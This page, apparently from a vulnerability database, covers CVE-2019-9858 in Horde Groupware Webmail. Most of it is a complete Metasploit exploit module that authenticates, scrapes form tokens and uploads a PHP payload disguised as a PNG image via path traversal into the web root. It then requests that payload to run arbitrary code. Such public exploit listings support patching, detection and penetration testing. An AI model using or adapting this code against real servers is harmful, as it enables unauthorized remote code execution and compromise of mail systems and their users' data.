| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| The vulnerability of the onSubmit() method of the Horde_Form_Type_image class (Horde/Form/Type.php) in the php-horde-form functionality allows a attacker to compromise data integrity, gain access to confidential data, and cause service interruptions. | 20 Aug 201900:00 | – | bdu_fstec | |
| CVE-2019-9858 | 9 Apr 201919:04 | – | circl | |
| Horde Groupware Webmail Code Execution Vulnerability | 12 Apr 201900:00 | – | cnvd | |
| CVE-2019-9858 | 29 May 201916:26 | – | cve | |
| CVE-2019-9858 | 29 May 201916:26 | – | cvelist | |
| [SECURITY] [DLA 1822-1] php-horde-form security update | 16 Jun 201921:42 | – | debian | |
| [SECURITY] [DSA 4468-1] php-horde-form security update | 21 Jun 201908:26 | – | debian | |
| [SECURITY] [DSA 4468-1] php-horde-form security update | 21 Jun 201908:26 | – | debian | |
| CVE-2019-9858 | 29 May 201916:26 | – | debiancve | |
| Debian DLA-1822-1 : php-horde-form security update | 17 Jun 201900:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'Horde Form File Upload Vulnerability',
'Description' => %q{
Horde Groupware Webmail contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. The exploitation requires the Turba
subcomponent to be installed.
This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ratiosec',
],
'References' =>
[
['CVE', '2019-9858'],
['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],
],
'DisclosureDate' => 'Mar 24 2019',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic', { }],
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])
# Appears to be '/usr/share/horde/' if installed with apt
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def webroot
datastore['WEB_ROOT']
end
def horde_login(user, pass)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'login.php')
)
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
session_cookie = res.get_cookies
vprint_status("Logging in...")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => session_cookie,
'vars_post' => {
'horde_user' => user,
'horde_pass' => pass,
'login_post' => '1'
}
)
return res.get_cookies if res && res.code == 302
[]
end
def get_tokens(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'cookie' => cookie
)
if res && res.code == 200
source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten
unless source_tokens.empty?
form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten
return source_tokens[0], form_tokens[0], res.get_cookies
end
end
nil
end
def exploit
vprint_status("Authenticating using #{username}:#{password}")
cookie = horde_login(username, password)
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
vprint_good("Authenticated to Horde.")
tokens = get_tokens(cookie)
fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
source_token, form_token, secret_cookie = tokens
vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
payload_name = Rex::Text.rand_text_alpha_lower(10..12)
payload_path = File.join(webroot, "static", "#{payload_name}.php")
payload_path_traversal = File.join("..", payload_path)
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
data.add_part(source_token, nil, nil, 'form-data; name="source"')
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
post_data = data.to_s
print_status("Uploading payload to #{payload_path_traversal}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie + ' ' + secret_cookie
)
fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
vprint_status("Executing the payload at #{payload_url}.")
res = send_request_cgi(
'uri' => payload_url,
'method' => 'GET',
)
register_files_for_cleanup(payload_path)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation